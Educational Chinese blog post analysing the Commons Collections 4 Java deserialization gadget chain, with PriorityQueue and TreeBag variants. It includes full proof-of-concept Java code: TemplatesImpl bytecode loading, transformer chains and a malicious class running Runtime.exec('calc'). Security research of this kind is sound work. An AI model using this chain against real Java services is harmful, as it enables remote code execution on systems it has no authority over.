JAVA反序列化深入学习(六):CommonsCollections4

CC4 是 CC2 的一个变种:

  • 用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer
  • 再利用 InstantiateTransformer 实例化 TemplatesImpl

排列组合了属于是

在这里补充一个对 PriorityQueue 的替代链 TreeBag

如果不太了解CC3,建议先看看之前我发的关于CC3的内容,比较简单,再看CC4可能体验会比较好

JAVA反序列化深入学习(五):CommonsCollections3-CSDN博客

JAVA环境

java version "1.8.0_66"

Java(TM) SE Runtime Environment (build 1.8.0_66-b18)

Java HotSpot(TM) 64-Bit Server VM (build 25.66-b18, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本:commons-collections4 : 4.0

检查依赖配置

确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version>
</dependency>

资源下载

  • maven
  • commons-collections4源码

前置知识

TreeBag & TreeMap

在 CC2 中,使用了:

  1. 优先级队列 PriorityQueue 反序列化
  2. PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性
  3. 配合 TransformingComparator 触发 transformer

除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。

对于 Bag 我很陌生,所以这里简单介绍一下

  • Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数
    • 它有一个子接口 SortedBag,定义了一种可以对其唯一(不重复)成员排序Bag 类型
  • TreeBag 是对 SortedBag 的一个标准实现
    • TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序
    • TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口
    • 初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map
    • 排序使用的 Comparator 则直接储存在 TreeMap
TreeBag#TreeBag
public TreeBag(final Comparator<? super E> comparator) {super(new TreeMap<E, MutableInteger>(comparator));
}
TreeMap#TreeMap
public TreeMap(Comparator<? super K> comparator) {this.comparator = comparator;
}
TreeBag#readObject - kick-off

在对 TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject 方法处理:

private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();@SuppressWarnings("unchecked")  // This will fail at runtime if the stream is incorrectfinal Comparator<? super E> comp = (Comparator<? super E>) in.readObject();super.doReadObject(new TreeMap<E, MutableInteger>(comp), in);
}
AbstractMapBag#doReadObject

doReadObject 方法会向 TreeMap 中 put 数据:

protected void doReadObject(final Map<E, MutableInteger> map, final ObjectInputStream in)throws IOException, ClassNotFoundException {this.map = map;final int entrySize = in.readInt();for (int i = 0; i < entrySize; i++) {@SuppressWarnings("unchecked") // This will fail at runtime if the stream is incorrectfinal E obj = (E) in.readObject();final int count = in.readInt();map.put(obj, new MutableInteger(count));size += count;}
}
TreeMap#put - chain

类似优先级队列,对于这种有序的储存数据的集合,反序列化数据时一定会对其进行排序动作,而 TreeBag 则是依赖了 TreeMap 在 put 数据时会调用 compare 进行排序的特点来实现数据顺序的保存:

public V put(K key, V value) {Entry<K,V> t = root;if (t == null) {compare(key, key); // type (and possibly null) checkroot = new Entry<>(key, value, null);size = 1;modCount++;return null;}...
}
TreeMap#compare

compare 方法中调用了 comparator 进行比较,所以就可以使用 TransformingComparator 触发后续的逻辑:

@SuppressWarnings("unchecked")
final int compare(Object k1, Object k2) {return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2): comparator.compare((K)k1, (K)k2);
}

攻击构造

基于 PriorityQueue

这是ysoserial CC4使用的方法,只是CC2和CC3的方法排列组合一下而已

恶意代码主体
public void TestCC4WithPriorityQueue() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {// 在初始化时不带入 comparator, 之后再通过反射设置,这里设置queue的容量为2PriorityQueue<Object> queue = new PriorityQueue<>(2);queue.add("1");queue.add("2");Transformer transformer = TransformerWithPriorityQueue();TransformingComparator comparator  = new TransformingComparator(transformer);// 通过反射设置 comparatorField field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");field.setAccessible(true);field.set(queue, comparator);writeObjectToFile(queue, fileName);readFileObject(fileName);
}
Transformer生成
protected Transformer TransformerWithPriorityQueue()  throws IOException, NoSuchFieldException, IllegalAccessException {// 读取恶意类存到 bytes[] 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForCC4.class"));// 初始化 TemplatesImpl 对象 tmpl,将恶意类设置到_bytecodes中TemplatesImpl tmpl      = new TemplatesImpl();Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{bytes});// _name 不能为空Field name = TemplatesImpl.class.getDeclaredField("_name");name.setAccessible(true);name.set(tmpl, "neolock");// 结合 ChainedTransformerChainedTransformer chainTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})});return chainTransformer;
}
恶意类构造
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;public class EvilClassForCC4 extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {// No implementation needed}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) {// No implementation needed}
}

基于 TreeBag

恶意代码主体
public void TestCC4WithTreeBag() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {TemplatesImpl tmpl = CreateTemplatesImpl();Transformer transformer = TransformerWithTreeBag();TransformingComparator comparator  = new TransformingComparator(transformer);TreeBag tree = new TreeBag(comparator);tree.add(tmpl);// transformer 变量指向 InvokerTransformer 的实例// 通过反射设置 transformer 的 iMethodName 为 newTransformerField field = InvokerTransformer.class.getDeclaredField("iMethodName");field.setAccessible(true);field.set(transformer, "newTransformer");writeObjectToFile(tree, fileName);readFileObject(fileName);
}
Transformer生成

对于TemplatesImpl 对象的设置跟CC2一样,但是创建Transformer的过程不同

protected TemplatesImpl CreateTemplatesImpl() throws IOException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {// 读取恶意类存到 bytes[] 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForCC4.class"));// 初始化 TemplatesImpl 对象 tmpl,将恶意类设置到_bytecodes中TemplatesImpl tmpl      = new TemplatesImpl();Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{bytes});// _name 不能为空Field name = TemplatesImpl.class.getDeclaredField("_name");name.setAccessible(true);name.set(tmpl, "neolock");return tmpl;
}
protected Transformer TransformerWithTreeBag()  throws IOException, NoSuchFieldException, IllegalAccessException {// 创建一个InvokerTransformer实例,在调用其transform()方法时,会调用目标对象的toString()方法,并且不传递任何参数Transformer templatesImplTransformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});return templatesImplTransformer;
}

恶意类直接使用与之前相同的就可以

总结

以上就是 CC4 链分析的全部内容了,最后总结一下。

基于 PriorityQueue

利用说明
  1. 使用 PriorityQueue 反序列化时触发的 TransformingComparatorcompare 方法
  2. 触发 ChainedTransformer tranform 方法链
  3. 其中利用 InstantiateTransformer 实例化 TrAXFilter
  4. 此类实例化时会调用 TemplatesImplnewTransformer 实例化恶意类,执行恶意代码
Gadget 总结
  • kick-off gadget:java.util.PriorityQueue#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
  • chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform
调用链展示
PriorityQueue.readObject()TransformingComparator.compare()*ChainedTransformer.transform()InvokerTransformer.transform()InstantiateTransformer.transform()TemplatesImpl.newTransformer()    

基于TreeBag

利用说明

用 TreeBag 代替 PriorityQueue 触发 TransformingComparator,后续依旧使用 Transformer 的调用链。

Gadget 总结
  • kick-off gadget:org.apache.commons.collections4.bag.TreeBag#readObject
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform
  • chain gadget:java.util.TreeMap#put
调用链展示
TreeBag.readObject()AbstractMapBag.doReadObject()TreeMap.put()TreeMap.compare()TransformingComparator.compare()InvokerTransformer.transform()

涉及很多不同的类,注意他们分别具体属于哪些类:

org.apache.commons.collections4.bag.TreeBag.readObject()
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
java.util.TreeMap.put()
java.util.TreeMap.compare()
org.apache.commons.collections4.comparators.TransformingComparator.compare()
org.apache.commons.collections4.functors.InvokerTransformer.transform()
  • Java 反序列化漏洞(二) - Commons Collections | 素十八
  • Java反序列化漏洞(六)- CommonsCollections4链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/46471.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

学以致用,基于OpenCV的公摊面积估算程序

由于很多户型图并没有标注各个房间或者走廊的面积&#xff0c;亦或比较模糊&#xff0c;且很多人并不具备迅速口算多个小数相加再做除法的能力&#xff0c;本帖通过程序粗略计算公摊比例。由于非专业人士&#xff0c;公摊面积涉及到很多建筑学的专业公式&#xff0c;因此本帖只…

Pycharm(八):字符串切片

一、字符串分片介绍 对操作的对象截取其中一部分的操作&#xff0c;比如想要获取字符串“888666qq.com前面的qq号的时候就可以用切片。 字符串、列表、元组都支持切片操作。 语法&#xff1a;字符串变量名 [起始:结束:步长] 口诀&#xff1a;切片其实很简单&#xff0c;只顾头来…

性能比拼: Go(Gin) vs Python(Flask)

本内容是对知名性能评测博主 Anton Putra Go (Golang) vs Python Performance Benchmark (Kubernetes - OpenTelemetry - Prometheus - S3/Postgres) 内容的翻译与整理, 有适当删减, 相关指标和结论以原作为准 在本视频中&#xff0c;我们将比较 Golang 和 Python 的性能。 但…

无人机磁力传感器与信号传输解析!

1. 磁力传感器 功能&#xff1a; 磁力传感器通过测量地球磁场&#xff0c;为无人机提供航向&#xff08;方向角&#xff09;信息&#xff0c;相当于电子罗盘。其核心作用是辅助导航&#xff0c;尤其在无GPS信号时帮助无人机维持稳定飞行。 工作原理&#xff1a; 基于霍…

如何利用系统的数据分析能力提高利润额?

在海外代购这个热门行业里&#xff0c;每天都有无数商家在问&#xff1a;为什么别人的商品卖得火爆&#xff0c;而我的却无人问津&#xff1f;为什么流量不少&#xff0c;但真正下单的人却不多&#xff1f;问题的关键往往不在商品本身&#xff0c;而在于你是否真正了解你的客户…

OpenCV 图形API(或称G-API)(1)

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 引言 OpenCV 图形API&#xff08;或称G-API&#xff09;是一个新的OpenCV模块&#xff0c;旨在使常规图像处理更快且更便携。通过引入一种新的基于图的执行…

IP综合实验

1.配置eth-trunk进行绑定 [LSW1]interface Eth-Trunk 0 [LSW1-Eth-Trunk0]q [LSW1]interface g0/0/2 [LSW1-GigabitEthernet0/0/2]eth-trunk 0 [LSW1-GigabitEthernet0/0/2]int g0/0/3 [LSW1-GigabitEthernet0/0/3]eth-trunk 0 [LSW1-GigabitEthernet0/0/3]display et…

Python-八股总结

目录 1 python 垃圾处理机制2 yield3 python 多继承&#xff0c;两个父类有同名方法怎么办&#xff1f;4 python 多线程/多进程/协程4.1 多线程与GIL全局解释器锁4.2 多进程4.3 协程 5 乐观锁/悲观锁6 基本数据结构**1. 列表&#xff08;List&#xff09;****2. 元组&#xff0…

Epub转PDF软件Calibre电子书管理软件

Epub转PDF软件&#xff1a;Calibre电子书管理软件 https://download.csdn.net/download/hu5566798/90549599 一款好用的电子书管理软件&#xff0c;可快速导入电脑里的电子书并进行管理&#xff0c;支持多种格式&#xff0c;阅读起来非常方便。同时也有电子书格式转换功能。 …

c#winform,倒鸭子字幕效果,typemonkey字幕效果,抖音瀑布流字幕效果

不废话 直接上效果图 C# winform 开发抖音的瀑布流字幕。 也是typemonkey插件字幕效果 或者咱再网上常说的倒鸭子字幕效果 主要功能 1&#xff0c;软件可以自定义添加字幕内容 2&#xff0c;软件可以添加字幕显示的时间区间 3&#xff0c;可以自定义字幕颜色&#xff0c;可以随…

【Audio开发二】Android原生音量曲线调整说明

一&#xff0c;客制化需求 客户方对于音量加减键从静音到最大音量十五个档位区域的音量变化趋势有定制化需求。 二&#xff0c;音量曲线调试流程 Android根据不同的音频流类型定义不同的曲线&#xff0c;曲线文件存放在/vendor/etc/audio_policy_volumes.xml或者default_volu…

蓝桥杯备考:动态规划dp背包之,多重背包

老样子&#xff0c;我们还是先定义状态表示f[i][j]表示从1到i个背包里&#xff0c;选出重量不超过T的最大价值 接着我们推导状态转移方程 这里我们多重背包就没办法和完全背包一样做优化了&#xff0c;因为我们多重背包毕竟选的数量是受限制的 第三步&#xff0c;初始化&…

【STM32】最后一刷-江科大Flash闪存-学习笔记

FLASH简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分&#xff0c;通过闪存存储器接口&#xff08;外设&#xff09;可以对程序存储器和选项字节进行擦除和编程&#xff0c;&#xff08;系统存储器用于存储原厂写入的BootLoader程序&#xff0c;用于串口…

AI绘画 | Stable Diffusion 图片背景完美替换

今天分享 Stable Diffusion 图片背景完美替换 功能&#xff0c;通过 Stable Diffusion 图生图重绘蒙版进行背景图的二次重绘。 在广告产品图、头像背景替换、图片后期处理等场景下用到的都很频繁。 整体步骤&#xff1a; 通过 removebg 插件实现图片主体蒙版的抠图 结合图生…

端到端语音识别案例

《DeepSeek大模型高性能核心技术与多模态融合开发&#xff08;人工智能技术丛书&#xff09;》(王晓华)【摘要 书评 试读】- 京东图书 语音识别这一技术正如其名&#xff0c;是通过精密地解析说话人的语音来识别并准确转写出其所说的内容。它不仅仅是一个简单的转录过程&#…

NoSQL 数据库深度解析与 20 款产品对比

一、NoSQL 的诞生背景与核心价值 在互联网Web 2.0时代,传统关系型数据库(RDBMS)逐渐暴露出其局限性。面对每秒数万次的高并发读写请求、海量数据存储与访问需求,以及高可扩展性挑战,RDBMS的ACID特性(原子性、一致性、隔离性、持久性)和结构化表结构显得力不从心。NoSQL…

如何备份你的 Postman 所有 Collection?

团队合作需要、备份&#xff0c;还是迁移到其他平台&#xff0c;我们都需要在 Postman 中将这些珍贵的集合数据导出。 如何从 Postman 中导出所有集合(Collection)教程

【计算机网络】OSI七层模型完全指南:从比特流到应用交互的逐层拆解

OSI模型 导读一、概念二、模型层次结构2.1 物理层&#xff08;Physical Layer&#xff09;2.2 数据链路层&#xff08;Data Link Layer&#xff09;​2.3 ​网络层&#xff08;Network Layer&#xff09;​2.4 ​传输层&#xff08;Transport Layer&#xff09;​2.5 ​会话层&…

Multi-Stage Progressive Image Restoration论文阅读

摘要 图像复原任务在恢复图像时需要在空间细节与高层语境化信息之间取得复杂的平衡。本文提出了一种新颖的协同设计方法&#xff0c;能够最优地平衡这些竞争目标。我们的核心方案是一种多阶段架构&#xff0c;通过逐步学习退化输入的复原函数&#xff0c;将整体恢复过程分解为…

Spring-事务属性

1.隔离属性 数据库对于隔离属性的支持 隔离属性的值MySQLOracle ISOLATION.READ_COMMITTED √ √ ISOLATION.REPEATABLE_READ√ISOLATION.SERIALIZABLE√√ Oracle不支持REPEATABLE_READ值 如何解决不可重复度 采用的多版本比对的方式 解决不可重复读 默认隔离属性 ISO…